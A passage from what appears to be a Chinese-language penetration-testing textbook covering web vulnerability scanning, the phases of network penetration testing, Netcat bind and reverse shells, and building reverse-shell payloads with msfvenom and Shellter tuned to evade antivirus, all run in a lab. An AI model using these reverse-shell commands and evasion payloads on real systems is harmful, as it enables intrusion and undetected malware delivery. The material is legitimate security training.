以下截图展示了如何在 WMAP 网络漏洞扫描器中设置目标主机:
- 跳过下一步,使用以下命令指定目标 web 应用程序的 URL。我们将针对 Metasploitable 2 虚拟机中的 Mutillidae web 应用程序进行扫描:
msf6 > wmap_targets -t http://172.30.1.49/mutillidae/index.php
以下截图展示了设置目标后预期的结果:
如前面的截图所示,目标 web 应用程序已在主机系统中设置为 Mutillidae。
- 接下来,使用以下命令自动加载 Metasploit 中的各种 web 扫描模块进行安全测试:
msf6 > wmap_run -t
以下截图展示了许多 Metasploit web 扫描模块正在加载到 WMAP 网络漏洞扫描器中:
- 加载完 web 扫描模块后,使用以下命令对目标 web 应用程序进行安全测试:
msf6 > wmap_run -e
- 当 WMAP 扫描完成后,使用以下命令查看 WMAP 网络扫描器在 Metasploit 中发现的 web 安全漏洞列表:
msf6 > wmap_vulns -l
- 最后,使用
vulns命令查看 WMAP 安全评估的整体结果:
msf6 > vulns
如果 Metasploit 能够根据其 CVE ID 识别漏洞,它将在
vulns命令中显示。
完成本次练习后,你已经学会了如何使用 Metasploit 识别网页应用程序漏洞。接下来,你将学习如何使用 WPScan 对目标 WordPress 网页应用程序进行漏洞扫描。
WPScan
虽然电子商务行业中有许多网页应用程序,但许多组织将 WordPress 网页应用程序作为首选的内容管理系统(CMS)。虽然 WordPress 提供了非常时尚和清晰的网站展示,但许多组织并未及时更新其 WordPress 平台和插件,从而使得它们的网页服务器和网页应用程序容易受到互联网威胁者的潜在网络攻击。在 Kali Linux 中,你将了解 WPScan 工具,该工具允许渗透测试人员对目标服务器上的 WordPress 网页应用程序进行漏洞扫描和枚举。要开始本次练习,请按以下说明操作:
-
首先,启动Kali Linux和Metasploitable 3(Windows 版本)虚拟机。
-
在Kali Linux中,打开终端并使用以下命令更新 WPScan 数据库:
kali@kali:~$ wpscan --update
- 接下来,使用以下命令在 Metasploitable 3(Windows 版本)虚拟机上识别 WordPress 网页应用程序的安全漏洞:
kali@kali:~$ wpscan --url http://172.30.1.48:8585/wordpress --no-update
以下截图显示了漏洞扫描的结果:
如前面的截图所示,WPScan 将检查远程目标上 WordPress 安装和配置的每个组件,并提供其发现的详细信息。
- 接下来,使用
-e u命令枚举目标 WordPress 网页应用程序上任何登录账户的用户名,如下所示:
kali@kali:~$ wpscan --url http://172.30.1.48:8585/wordpress --no-update -e u
如下截图所示,WPScan 能够识别目标网页服务器的登录用户名:
正如你所见,在 WordPress 服务器上执行漏洞扫描并收集目标服务器上潜在的授权用户名非常简单。
若想了解更多关于 WPScan 的信息,请参见:
www.kali.org/tools/wpscan/。
完成本节后,你已经学会如何使用 Kali Linux 中的各种工具和技术进行网页扫描。通过收集一份网页应用程序安全漏洞清单,经过一些额外的研究,你将能够找到有效的漏洞利用工具,测试这些漏洞是否真的可以被利用。
总结
在本章中,您了解了发现组织及其资产中的安全漏洞的重要性。您还通过使用各种工具,如 Nessus、Nmap 和 GVM,亲手进行安全评估,获得了实际经验和技能。您还发现了如何使用各种工具和技术轻松识别 Web 应用程序中的安全缺陷。我相信本章提供的知识为您提供了宝贵的见解,支持您成为道德黑客和渗透测试员的道路,在动态的网络安全领域中取得成功。愿这种新获得的理解在您的旅程中赋予您力量,使您能够自信地驾驭这个行业并产生重大影响。在下一章,了解网络渗透测试中,您将专注于如何在执行网络渗透测试时使用各种技术和策略。
进一步阅读
-
了解 Nessus -
www.techtarget.com/searchnetworking/definition/Nessus -
Nmap 脚本引擎 (NSE) -
nmap.org/book/man-nse.html -
Nmap NSE 脚本 -
nmap.org/nsedoc/scripts/ -
CVSS 评分系统 -
www.first.org/cvss/
第八章:8 网络渗透测试理解
加入我们的书籍社区,参与 Discord 讨论
packt.link/SecNet当进入网络安全攻防领域时,对于有志成为道德黑客和渗透测试人员的人来说,掌握网络渗透测试的重要性以及设置反向和绑定 Shell 的常见技巧至关重要。这些技巧帮助渗透测试人员与目标系统之间建立攻击机与被攻击系统的连接。此外,学习如何开发自定义负载并逃避反恶意软件检测,有助于渗透测试人员判断目标组织的网络防御是否具备检测恶意代码的能力。在本章中,您将了解网络渗透测试的重要性,以及它如何帮助组织识别其资产中的隐藏安全漏洞,进一步理解攻击者是如何攻破系统的。此外,您将获得使用绑定和反向 Shell 的实操经验,并学习如何开发和隐匿恶意负载,以规避反恶意软件程序的检测。最后,您还将学习如何使用无线网络适配器,并利用它们监控周边无线系统。在本章中,我们将涵盖以下主题:
-
网络渗透测试介绍
-
使用绑定和反向 Shell
-
反恶意软件逃避技巧
-
使用无线适配器
-
管理和监控无线模式
让我们开始吧!
技术要求
为了跟随本章的练习,请确保您已满足以下硬件和软件要求:
-
Kali Linux -
www.kali.org/get-kali/ -
Alfa AWUS036NHA 无线 B/G/N USB 适配器
-
Alfa AWUS036ACH 长程双频 AC1200 无线 USB 3.0 Wi-Fi 适配器
并非所有无线网络适配器都支持监控模式和数据包注入。有时,厂商会对其产品的芯片版本做小的修改,从而导致无线网络适配器无法在渗透测试人员的机器上以监控模式运行。此外,某些无线网络适配器可能无法开箱即用,您需要下载并在 Kali Linux 机器上编译驱动程序。
网络渗透测试介绍
网络渗透测试是由道德黑客和渗透测试员采用的系统性方法和技术,用以模拟对目标组织及其系统和网络的真实网络攻击,目的是发现潜在的安全漏洞,并提供实施对策和安全控制措施的建议,以减轻和防止真实对手对组织及其资产的入侵。在网络渗透测试的技术阶段,道德黑客或渗透测试员使用与真实对手相似的战术、技术和程序(TTPs)来测试组织安全团队的网络防御、监控和预防技术,并识别目标系统的安全缺陷。根据渗透测试技术阶段的发现,收集到的信息可以帮助更好地理解真实攻击者如何发现安全缺陷、攻击方法、可能使用的工具和基础设施来设置攻击并向目标投递有效载荷,以及如果发生真实攻击时对组织的系统和网络可能造成的影响。这类信息通常被称为网络威胁情报(CTI)。渗透测试员利用这些数据为利益相关者提供有关网络风险、安全漏洞类型及其严重性评级的洞察,并帮助组织解决安全漏洞,同时提升其安全防御能力。以下是网络渗透测试的典型阶段:
-
确定范围 – 范围提供了对需要测试的系统和网络的明确理解,以及是否限制使用特定工具或技术。
-
执行侦察 – 这是信息收集阶段,渗透测试员在目标上执行被动和主动侦察。
-
扫描与枚举 – 扫描和枚举阶段通常用于收集有关目标的具体详细信息,如开放端口、运行服务、操作系统、识别用户账户、网络共享和目标系统的配置。
-
漏洞分析 – 在这一阶段,渗透测试员分析前几个阶段收集到的数据,以识别目标上的潜在安全漏洞,评估漏洞的严重性和风险评级,并提出对策帮助组织改善其网络防御。
-
利用漏洞 – 在这一阶段,道德黑客或渗透测试员尝试利用目标系统上发现的每个安全漏洞,使用手动和自动化技术来验证安全漏洞的存在,并获取目标系统的控制。
-
利用后阶段 – 一旦目标系统被攻破,渗透测试人员将尝试进一步扩展他们在受侵系统中的立足点,并渗透到范围内的其他系统。在这个阶段,渗透测试人员可以识别目标系统上的其他安全漏洞。
-
报告 – 报告是任何渗透测试过程中最重要的阶段之一。渗透测试人员需要向目标组织的利益相关者提供一份详细的技术报告和执行报告,报告内容包括安全评估、用于发现安全漏洞的技术、发现的安全漏洞以及如何改进目标系统安全态势的建议。
-
修复 – 基于报告中的信息,组织可以实施必要的步骤,修复目标系统中已识别的安全漏洞。这个过程可能包括应用安全控制、打补丁以及改善系统和设备的配置。
网络渗透测试为组织提供了许多优势,例如通过主动识别资产上的安全漏洞,帮助公司保持在网络犯罪分子之前,同时确定真实攻击者如何能够入侵目标系统,并利用这些洞察力来改善和强化其系统和网络基础设施。此外,漏洞分析帮助组织更好地优先分配资源,实施补救措施,如优先解决最关键的安全漏洞。例如,具有安全漏洞风险评分为 8 的系统应优先于风险评分较低(如 3)的系统。然而,重要的是要考虑这些系统是否直接连接到互联网或在内部网络中。虽然一些专业人士可能认为风险评分的严重性应优先考虑,但需要注意的是,直接连接到互联网且风险评分较低的关键系统可能会被优先考虑,因为外部威胁行为者可以直接访问该系统,而不是内联网中的系统。每天,许多组织都在报告数据泄露事件。网络渗透测试帮助组织采取主动方法,识别和解决安全漏洞,从而减少未来真实网络攻击的风险。此外,这还帮助组织全面评估其网络防御,并确定其系统、网络和基础设施是否符合各种行业标准和框架。例如,处理支付卡系统的组织必须符合支付卡行业数据安全标准 (PCI DSS),才能在支付交易中提供敏感数据。尽管许多组织持续改进其网络安全策略,但进行网络渗透测试有助于组织评估其安全团队的事件响应和处理准备情况。如果组织无法有效识别和应对安全事件,威胁行为者将能够在被攻破的网络中扩大立足点,并可能对组织造成更多损害。定期进行安全评估的另一个重要好处是帮助组织领先于新兴的威胁。尽管许多组织拥有补丁管理系统,网络渗透测试帮助组织判断补丁管理流程是否存在任何低效之处,以及系统中是否存在可以被网络犯罪分子利用的安全漏洞。在接下来的几个章节中,你将了解 bind 和 reverse shell 的重要性,以及它们如何被道德黑客和渗透测试员利用。
使用 bind 和 reverse shell
绑定 Shell通常由渗透测试人员使用,用于在目标系统上逻辑性地绑定一个服务端口,以等待传入连接,这通常被称为监听器。例如,假设你的目标是一个具有公共 IP 地址的互联网脆弱服务器,而你的攻击者机器(如 Kali Linux)位于一个启用了网络地址转换(NAT)的路由器或防火墙后面。此外,如果源和目标之间存在防火墙,防火墙通常会配置为允许从内部网络到互联网的出站流量,但不允许反向流量。因此,如果互联网设备向私有网络上的系统发起连接,启用了 NAT 的路由器或防火墙会因安全原因自动终止(关闭/阻止)该连接。
在启用了 NAT 的路由器上,私有源 IPv4 地址会在路由器的面向互联网的接口上被转换为公共 IPv4 地址,然后发送到互联网。这意味着,互联网连接设备将看到发送方的地址为路由器或调制解调器上的公共 IPv4 地址,而不是私有网络中客户端的私有 IPv4 地址。NAT 防止源和目标设备之间的直接连接。
以下是渗透测试人员常见的绑定 Shell 属性:
-
绑定 Shell 是绑定到特定端口的 Shell,用于创建一个监听器,以接受来自远程机器的传入连接。
-
当远程机器与运行监听器并监听特定绑定端口的目标系统建立连接时,会在远程机器和目标系统之间创建一个 Shell。因此,提供了远程访问目标系统的方式。
-
绑定 Shell 通常由渗透测试人员使用,当目标系统的 IP 地址已知并且可以在其上配置监听器时。
如果渗透测试人员能够突破互联网上的一个脆弱系统,则可以将监听器绑定到 Windows 命令提示符或 Linux Shell,并指定目标系统的 IP 地址和绑定端口号。这使得渗透测试人员能够通过目标的公共 IP 地址和绑定端口号远程连接到目标系统,并在目标系统上获取绑定 Shell。下图展示了攻击者的机器与目标系统之间的绑定 Shell 的可视化表示:
如前图所示,攻击者机器(例如 Kali Linux)位于私有网络中,并且它在一个配置了允许出站流量访问互联网的防火墙后面。然而,渗透测试员希望在互联网上的目标系统上建立一个远程 shell。因此,渗透测试员需要攻破目标系统,并在目标的公共 IP 地址和端口号上设置监听器。渗透测试员可以使用 Netcat、Ncat 甚至 Metasploit 在目标与攻击者机器之间设置绑定 shell。这些是网络安全行业中常见的工具,适用于为监听器绑定 IP 地址和端口号。请记住,一旦系统之间建立了 shell,渗透测试员就能够通过网络在目标系统上远程执行命令。反向 shell是渗透测试员常用的另一种技术,用于从被攻破的系统到攻击者机器设置回调会话。与绑定 shell 不同,渗透测试员在其攻击者机器上设置监听器,然后发送指令到目标系统,以建立回调会话。例如,假设您已经攻破了一个位于内部网络上的目标系统,而另一个攻击者机器在云端运行并具有公共 IP 地址。如果您尝试在云端的攻击者机器与私有网络上的目标系统之间建立连接,目标组织的路由器或防火墙将自动终止会话。通过使用反向 shell,渗透测试员可以在云端的攻击者机器上配置监听器,并向目标机器发送指令,建立与监听服务器的连接,如下图所示:
以下是渗透测试员常用的绑定 shell 的常见属性:
-
渗透测试员在攻击者机器上设置监听器,并向目标系统发送指令,建立回调会话。
-
当目标系统与攻击者机器上的监听器建立会话时,会生成一个 shell,渗透测试员可以在目标上远程执行命令。
-
反向 shell 常用于渗透测试员无法直接访问目标机器的情况,特别是当目标机器位于启用了 NAT 的路由器或防火墙后面时。因此,对于被攻破的系统来说,建立与互联网的出站连接相对简单。
在接下来的几个子章节中,您将学习如何使用各种工具创建绑定和反向 shell。
使用 Netcat 进行远程 shell
在本练习中,你将学习使用 Netcat 进行远程 Shell 操作的基本知识。Netcat 是一款多用途工具,使 IT 专业人员能够通过传输控制协议/互联网协议(TCP/IP)在多个系统之间建立网络连接。此外,你还将学习如何设置监听器,以捕获来自远程设备通过网络传入的连接。在继续之前,请确保遵循以下指南:
-
Kali Linux 是攻击者机器,网络适配器连接在
192.168.42.0/24(RedTeamLab)网络上。 -
Bob-PC 将作为目标主机运行,且也连接到
192.168.42.0/24(RedTeamLab)网络。 -
使用本地管理员账户登录 Bob-PC。有关用户凭证,请参阅第三章 - 高级渗透测试技巧设置。
-
Kali Linux 将运行 Netcat 作为监听器,捕获任何传入的连接,而 Bob-PC 将用于建立到 Kali Linux 的 Netcat 会话。
要开始使用 Netcat 进行远程 Shell 操作,请按照以下指示进行操作:
- 启动Kali Linux虚拟机,打开终端,并使用
ip address或ifconfig命令来识别哪个接口连接到192.168.42.0/24网络,以及它的主机地址,如下所示:
如前面的截图所示,Kali Linux 在其eth2接口上有一个192.168.42.27地址,且连接到192.168.42.0/24网络。
- 在 Kali Linux 中,有一组预加载的 Windows 二进制文件,这些文件对道德黑客和渗透测试人员非常有用。这些 Windows 二进制文件之一就是适用于 Windows 的Netcat。让我们在 Kali Linux 虚拟机上设置一个基于 Python 的 Web 服务器,将 Netcat 文件传输到目标系统。请在Kali Linux中使用以下命令,在 Windows 二进制文件目录下设置 Web 服务器:
kali@kali:~$ cd /usr/share/windows-binaries
kali@kali:/usr/share/windows-binaries$ python3 -m http.server 8080
一旦 Python 网络服务器在/usr/share/windows-binaries目录下运行,任何连接到 Kali Linux 的用户都能够查看并下载该目录中的文件。
- 接下来,开启Bob-PC虚拟机并使用本地管理员账户登录。在登录屏幕上,点击其他用户,输入用户名:
Bob-PC\bob和密码:P@ssword2,如以下截图所示:
- 在Bob-PC上,打开网页浏览器,连接到
http://<Kali-Linux-address>:8080并下载nc.exe文件,如下所示:
下载完nc.exe文件后,将其复制/移动到Bob-PC中的C:\Windows\System32目录。下载文件后,可以通过按下键盘上的CTRL + Z退出 Python 网络服务器。
- 接下来,要在端口
1234上设置一个 Netcat 监听器,请在Kali Linux上使用以下命令:
kali@kali:~$ nc -nlvp 1234
以下是前述命令的详细解析:
-
-n:指定仅使用 IP 地址,不执行域名系统(DNS)查询。 -
-l:指定监听传入连接。 -
-v:指定使用详细模式。 -
-p:指定监听端口号。
- 接下来,在 Bob-PC 上,打开 命令提示符 并使用以下命令建立到 Kali Linux 的 Netcat 连接:
C:\Users\bob> nc -nv 192.168.42.27 1234
- 一旦从 Bob-PC(客户端)到 Kali Linux(监听器/服务器)建立会话,你可以在任一系统上输入消息,消息会发送到另一端,如下所示:
如上图所示,消息在 Bob-PC 上输入并在 Kali Linux 上的 Netcat 监听器中接收到。
- 要终止会话,请使用键盘上的
CTRL + Z键组合。
在本练习中,你已经学习了如何在两台主机之间建立远程 shell,并建立通信通道。虽然这是一项基础技术,但它为你提供了一些关于远程 shell 如何在网络中主机之间操作的实际见解。接下来,你将学习如何使用 Netcat 设置绑定 shell。
设置绑定 shell
在本练习中,你将学习如何将 Linux 原生 shell,即 Bourne Again SHell(BASH),绑定到监听器中。这项技术使得远程主机能够建立网络连接并在 Netcat 服务器上执行远程命令。要开始设置绑定 shell,请使用以下说明:
- 启动 Kali Linux 虚拟机,打开 终端,并使用以下命令创建一个 Netcat 监听器,将本地 BASH shell 绑定到监听器:
kali@kali:~$ nc -nlvp 1234 -e /bin/bash
如果在 Microsoft Windows 系统上设置监听器,
nc -nlvp 1234 -e cmd.exe命令将使你能够使用 Netcat 将 Windows 命令提示符绑定到监听器。
- 接下来,启动 Bob-PC 虚拟机并使用本地管理员帐户(
Bob-PC\bob|P@ssword2)登录。然后,打开 命令提示符 并使用以下命令建立与 Kali Linux(监听器)的 Netcat 会话:
C:\Users\bob> nc -nv 192.168.42.27 1234
- 一旦从 Bob-PC 到 Kali Linux 建立会话,你就可以在 Windows 命令提示符中输入基于 Linux 的命令,这些命令会在 Kali Linux 上远程执行,如下所示:
如上图所示,whoami 命令在绑定 shell 上执行,并在 Kali Linux 上远程执行,结果返回。同样,pwd 命令用于确定绑定 shell 上 Kali Linux 当前的工作目录。
要在使用绑定 shell 时获取 Linux 终端界面,请使用
python -c 'import pty; pty.spawn("/bin/bash")'命令。
完成本练习后,你已经学会了如何在运行 Netcat 监听器的系统上设置绑定 Shell,使远程用户能够建立连接到 Netcat 监听器并在目标系统上获得远程绑定 Shell,从而执行远程命令。接下来,你将学习如何在网络上设置主机之间的反向 Shell。
设置反向 Shell
在本练习中,你将学习如何通过网络将反向 Shell 从目标系统设置到你的攻击者机器。我们将使用 Bob-PC 作为目标系统,Bob-PC 将发起反向连接到我们的攻击者机器——Kali Linux。要开始此练习,请按照以下说明操作:
- 启动Kali Linux虚拟机,打开终端,并使用以下命令设置 Netcat 监听器,以捕捉任何传入的连接:
kali@kali:~$ nc -nlvp 1234
-
接下来,启动Bob-PC并使用本地管理员帐户登录,用户名:
Bob-PC\bob,密码:P@ssword2。 -
在Bob-PC上,打开命令提示符并使用以下命令创建反向连接到 Kali Linux 上的监听器,同时将命令提示符 Shell 发送到 Kali Linux:
C:\Users\bob> nc -nv 192.168.42.27 1234 -e cmd.exe
如果你使用的是基于 Linux 的系统作为客户端,请使用
nc –nv 10.1.1.2 9999 -e /bin/bash命令将 Linux bash Shell 绑定到 Netcat 连接。
下图显示了 Bob-PC 成功连接到 Kali Linux 上的 Netcat 监听器:
- 在 Kali Linux 虚拟机上,你现在可以看到来自 Windows 机器(Bob-PC)的反向 Shell,显示在 Linux 终端上,如下所示:
如上图所示,Windows 机器能够成功连接到 Netcat 监听器并提供本地 Shell,使 Kali Linux 上的远程用户能够执行远程命令。完成此部分后,你已经学会了如何使用 Netcat 创建反向 Shell。然而,请记住,Netcat 不会加密 Netcat 客户端和服务器之间的消息,这可能导致被检测到。不过,值得注意的是,Ncat 和 Socat 都可以在处理远程 Shell 时提供主机系统之间的数据加密。在下一部分,你将学习如何创建自定义的反向 Shell 负载并实施防病毒逃避技术。
防病毒逃避技巧
作为一名有抱负的道德黑客和渗透测试员,你将开发针对特定目标的自定义载荷,例如运行 Windows 和 Linux 操作系统的系统。此外,如果你进行移动渗透测试,你将为 Android 和 iOS 等移动操作系统创建载荷。更重要的是,你需要考虑目标系统是否运行任何旨在检测和防止恶意代码的反恶意软件程序。如果目标系统安装了反恶意软件应用程序,无论是像 Microsoft Defender Antivirus(有时称为 Windows Defender)这样的本地应用程序,还是商业解决方案,它们的设计目的是检测并阻止任何恶意代码、应用程序或服务在主机系统上运行。这意味着,目标系统上的反恶意软件解决方案很可能会将你的自定义载荷识别为恶意代码并阻止其运行,同时通知你的目标。有多种工具和技术通常被网络安全专业人员,如渗透测试员,用来确定他们的自定义载荷是否能够绕过目标系统上的威胁检测解决方案,如反恶意软件。此外,渗透测试员通常创建自定义载荷,以便从目标系统建立反向连接回他们的计算机,并在获得目标系统的控制权后提升用户权限。因此,深入理解反恶意软件解决方案用于识别潜在威胁和可疑活动的各种技术,对于改进自定义载荷的开发以避免被检测是至关重要的。由于反恶意软件厂商持续改进其解决方案,以检测和阻止互联网上的新兴威胁,道德黑客和渗透测试员需要确保他们的自定义载荷可以避开检测,否则它将在被检测时立即被隔离或删除。本节内容并非面向高级学习者,也不专注于高级规避技术,而是为渗透测试员提供常见规避技术的入门知识。然而,本节的目的是提供常见反恶意软件解决方案的威胁识别技术基础,以及在为渗透测试开发自定义载荷时如何使用规避技术。以下是反恶意软件解决方案用于检测系统和网络中潜在威胁的各种技术:
- 基于签名的:基于签名的检测是威胁检测和防护系统中最常见的技术之一,也许是较旧的技术,例如反恶意软件、入侵检测系统(IDS)和入侵防御系统(IPS)。该技术使反恶意软件引擎能够在文件、应用程序或网络流量中查找匹配的代码或模式。一旦发现匹配,系统就会触发警报,反恶意软件应用程序将采取措施,防止威胁在系统或网络中扩展其立足点。
使用基于签名的检测方法的缺点是,反恶意软件解决方案依赖于已知签名来识别恶意软件。例如,如果互联网上出现了新的威胁,而反恶意软件解决方案没有匹配的签名,那么该威胁就可能侵入组织及其系统,直到反恶意软件厂商的威胁情报团队检测、分析并将带有新签名的更新推送到其解决方案中。 因此,组织需要确保其威胁检测和防护解决方案拥有有效的许可证(如果需要),并且已更新厂商的最新版本。
-
基于行为的:在基于行为的威胁检测中,如果反恶意软件解决方案检测到主机系统中的文件和应用程序超出正常参数运行,通常会将其置于沙箱环境中进一步观察和分析,以判断它是否是威胁。在沙箱环境中,疑似或潜在有害的应用程序在虚拟化空间中执行,这使得反恶意软件程序能够在允许其在主机内存空间中运行之前,更深入地检查是否存在任何真实的潜在威胁或危险。
-
基于启发式的:在基于启发式的威胁检测中,反恶意软件程序通常需要预定义的规则来帮助其判断文件或应用程序是否对系统或网络有害。此外,算法还被用来判断可执行文件或运行中的应用程序的指令中是否存在任何恶意代码,这些代码可能会对主机系统造成损害或数据丢失。
以下是常见的用于执行静态恶意软件分析的在线平台:
虽然防病毒和反恶意软件厂商通常会实现一种或多种上述技术,但网络安全行业不断发展,反恶意软件软件中不断出现新的检测方法。在接下来的子章节中,你将学习如何使用各种反恶意软件规避技术创建自定义有效载荷。
使用 MSFvenom 对有效载荷进行编码
Metasploit Framework Venom (MSFvenom) 通常被渗透测试人员用来制作自定义有效载荷,以进行漏洞利用、远程代码执行 (RCE) 和目标系统上的权限提升。此外,该工具还允许渗透测试人员对有效载荷进行编码和混淆,以避开威胁检测系统,如 IDS 和 IPS。要开始使用 MSFvenom 生成和编码自定义有效载荷,请使用以下指令:
-
首先,启动 Kali Linux 虚拟机并登录到桌面。
-
接下来,打开 终端,使用
ip address show eth1或ifconfig eth1命令来确定 Kali Linux 上eth1适配器的 IP 地址,如下所示:
网络适配器的 IP 地址将在下一步中用于指定回调地址或本地主机地址,生成自定义有效载荷时使用。
- 接下来,使用以下命令生成反向 Shell 有效载荷:
kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.50 LPORT=1234 -f exe -o payload1.exe
以下是对前一行命令中使用的所有参数的详细解释:
-
-p– 允许你指定有效载荷。msfvenom --list payloads命令会列出所有支持的有效载荷。 -
LHOST– 允许你指定回调地址,例如将 Kali Linux 的 IP 地址作为攻击者机器的地址。 -
LPORT– 指定攻击者机器上的监听端口,在对目标系统执行有效载荷之前需要打开该端口。 -
-f– 该语法用于指定输出格式。msfvenom --list formats命令会列出所有支持的输出格式。 -
-o– 指定输出文件的名称。默认情况下,有效载荷存储在当前工作目录中,使用pwd命令可以验证当前目录。
以下截图显示自定义有效载荷成功生成:
- 接下来,在 Kali Linux 中打开网页浏览器,访问
www.virustotal.com,并上传新生成的有效载荷以查看其检测状态,如下所示:
如前所示的截图,超过 50 个来自不同厂商的反恶意软件传感器检测到自定义有效载荷为潜在威胁。如果我们将这个自定义有效载荷上传到运行任何这些反恶意软件程序的目标系统,它会立即被检测并删除。因此,阻止我们执行有效载荷以获取反向 Shell。
请记住,一旦你将文件提交到 VirusTotal 并被标记为恶意文件,该恶意文件的哈希值也会与其他防病毒和安全供应商共享。因此,恶意有效载荷在目标机器上的有效使用时间会大大缩短。
- 接下来,让我们使用
shikata_ga_nai编码模块对有效载荷进行编码,并执行 20 次编码迭代,以降低自定义有效载荷的威胁检测评分,使用以下命令:
kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.50 LPORT=1234 -e x86/shikata_ga_nai -i 20 -f exe -o payload2.exe
- 在生成新的有效载荷后,将其上传到 VirusTotal 以确定威胁检测评分,如下所示:
如前面截图所示,虽然这个新的自定义有效载荷包含了使用 x86/shikata_ga_nai 编码模块进行的 20 次编码迭代,但它仍然被许多反恶意软件传感器检测到。然而,x86/shikata_ga_nai 编码模块在使用 MSFvenom 时通常是推荐的。
- 接下来,让我们生成另一个自定义有效载荷,并使用以下命令将其嵌入到可执行文件中:
kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.50 LPORT=1234 -x /usr/share/windows-binaries/whoami.exe -e x86/shikata_ga_nai -i 20 -f exe -o payload3.exe
- 接下来,将新的有效载荷上传到 VirusTotal 以确定威胁评分,如下所示:
如前面截图所示,payload3.exe 文件的检测评分低于之前的自定义有效载荷。为了确定目标系统是否运行了特定的反恶意软件解决方案,重要的是枚举目标系统上正在运行的服务和应用程序,然后在实验室环境中测试该有效载荷,确保其按预期工作,之后再将其交付给目标。完成此练习后,你已经学会了如何通过生成有效载荷来使用 MSFvenom 降低威胁检测评分。接下来,你将学习如何使用 Shellter 创建不容易被反恶意软件程序检测到的有效载荷。
使用 Shellter 创建自定义有效载荷
Shellter 是一种反恶意软件规避工具,通常被道德黑客和渗透测试人员用来自动化创建和编码自定义有效载荷的过程,以规避威胁检测系统。Shellter 负责生成 shellcode 并将其注入到受信任的 Microsoft Windows 32 位应用程序中。当自定义有效载荷在目标系统上执行时,受信任的文件会像应用程序无害一样执行,但自定义有效载荷(shellcode)则在后台的内存空间中执行。要开始使用 Shellter 生成自定义有效载荷,请按照以下说明操作:
-
启动 Kali Linux 虚拟机并登录到桌面。
-
接下来,打开 Terminal (#1),并使用以下命令安装 Shellter:
kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install shelter
- 接下来,使用以下命令设置和配置 Shellter 的工作环境,并安装 Wine32:
kali@kali:~$ sudo dpkg --add-architecture i386
kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install wine32
- 接下来,使用以下命令列出 Kali Linux 上的一组常见 Windows 二进制文件:
kali@kali:~$ ls -l /usr/share/windows-binaries/
如下图所示,有一些有用的二进制文件,对于道德黑客和渗透测试人员来说非常有用:
- 接下来,让我们使用以下命令将
vncviewer.exe文件复制到当前工作目录:
kali@kali:~$ cp /usr/share/windows-binaries/vncviewer.exe /home/kali
此外,cp /usr/share/windows-binaries/vncviewer.exe /home/kali ./命令可以用来将文件复制到当前工作目录,而不需要指定完整的输出目录。由于在前面的步骤中我们已在 Kali Linux 上安装了额外的包,建议注销并重新登录,以确保最新的包被应用。
- 接下来,使用以下命令在 Kali Linux 上启动 Shellter 应用程序:
kali@kali:~$ sudo shelter
- 接下来,当 Shellter 窗口出现时,你将获得选择自动模式或手动模式的选项,输入
A并按Enter键以应用自动模式,如下所示:
- 接下来,Shellter 将需要一个便携式可执行文件(PE)。在
/home/kali目录中指定vncviewer.exe文件,如下所示:
- Shellter 将决定在哪个位置注入 shellcode 到 PE 文件中。一旦此过程完成,输入
Y并按Enter键以启用隐身模式,如下所示:
-
接下来,配置要附加到 PE 文件的载荷,使用以下配置:
-
选择
L来列出可用的载荷。 -
按索引选择载荷:
1 – Meterpreter_Reverse_TCP。 -
设置
LHOST为你 Kali Linux 机器的 IP 地址。 -
设置
LPORT为 Kali Linux 上的监听端口。
-
以下截图展示了预期的配置:
一旦自定义载荷成功编译,以下窗口将会出现:
- 接下来,访问
www.virustotal.com/并上传编码后的vncviewer.exe文件,以确定其威胁评级,如下所示:
如前所示,威胁检测评级低于由 MSFvenom 生成的那些载荷。
- 接下来,使用以下命令设置一个 Meterpreter 监听器,通过 Metasploit 捕获从目标系统执行后的反向 Shell:
kali@kali:~$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 172.30.1.50
msf6 exploit(multi/handler) > set LPORT 5678
msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(multi/handler) > exploit
以下截图展示了前述命令的执行情况:
以下是前述命令序列的解析:
-
windows/meterpreter/reverse_tcp载荷确保当连接被检测到时,Metasploit 会将此载荷发送到目标系统,该载荷将在内存中执行并创建一个反向 Shell 回到 Kali Linux 机器。 -
LHOST和LPORT参数用于设置 Kali Linux 上的本地 IP 地址和监听端口。 -
AutoRunScript post/windows/manage/migrate命令确保一旦从受害者系统与 Kali Linux 建立连接,Metasploit 将自动将目标系统上的进程迁移到另一个进程,从而减少被检测的机会。 -
exploit命令用于在 Metasploit 中执行载荷或利用模块。
- 接下来,让我们将自定义负载交付到如Metasploitable 3的 Windows 系统上,该系统位于我们虚拟实验室环境中的
172.30.1.0/24网络。打开 Kali Linux 中的新Terminal(#2),并使用以下命令启动 Python3 网络服务器:
kali@kali:~$ python3 -m http.server 8000
Python3 网络服务器将使我们能够从 Kali Linux 机器下载文件到实验环境中的其他系统。
-
接下来,启动Metasploitable 3虚拟机并使用用户名
Administrator和密码vagrant登录到桌面。 -
在Metasploitable 3中,打开网页浏览器并访问
http://172.30.1.50:8000/vncviewer.exe下载并保存负载。 -
接下来,在Metasploitable 3上执行
vncviewer.exe文件,注意反向 Shell 已在Kali Linux上的Terminal #1捕获,如下所示:
如前所示的截图所示,Metasploit 监听模块捕获了来自172.30.1.48的反向连接,然后交付了一个附加负载以建立 Meterpreter shell 并将运行的进程 ID 迁移到受害系统上。此外,使用 Meterpreter 中的sysinfo命令可以让我们获取关于受损系统的系统信息。
一旦获得 Meterpreter shell,使用
help命令查看执行操作和收集受损机器信息的命令列表。
并非所有基于 Windows 的可执行文件都能与 Shellter 一起使用。在使用 Shellter 时,确保 Shellter 编码的 PE 文件在目标系统上运行足够长的时间,以便从 Kali Linux 向目标系统交付阶段性负载,这是非常重要的。
- 最后,使用 Meterpreter 中的
getuid命令来确定运行我们负载的用户账户,如下所示:
如上图所示,负载作为目标系统上的管理员用户账户运行。完成这一部分后,你已经学会了如何在目标系统主机上创建、编码和交付负载。本节为你介绍了网络攻击链中的武器化和交付阶段。此外,你还学会了如何识别负载是否具有高威胁检测评级,并发现减少反恶意软件检测的常见技术。在下一部分中,你将学习如何配置无线适配器以监控 Wi-Fi 网络上的附近流量。
使用无线适配器
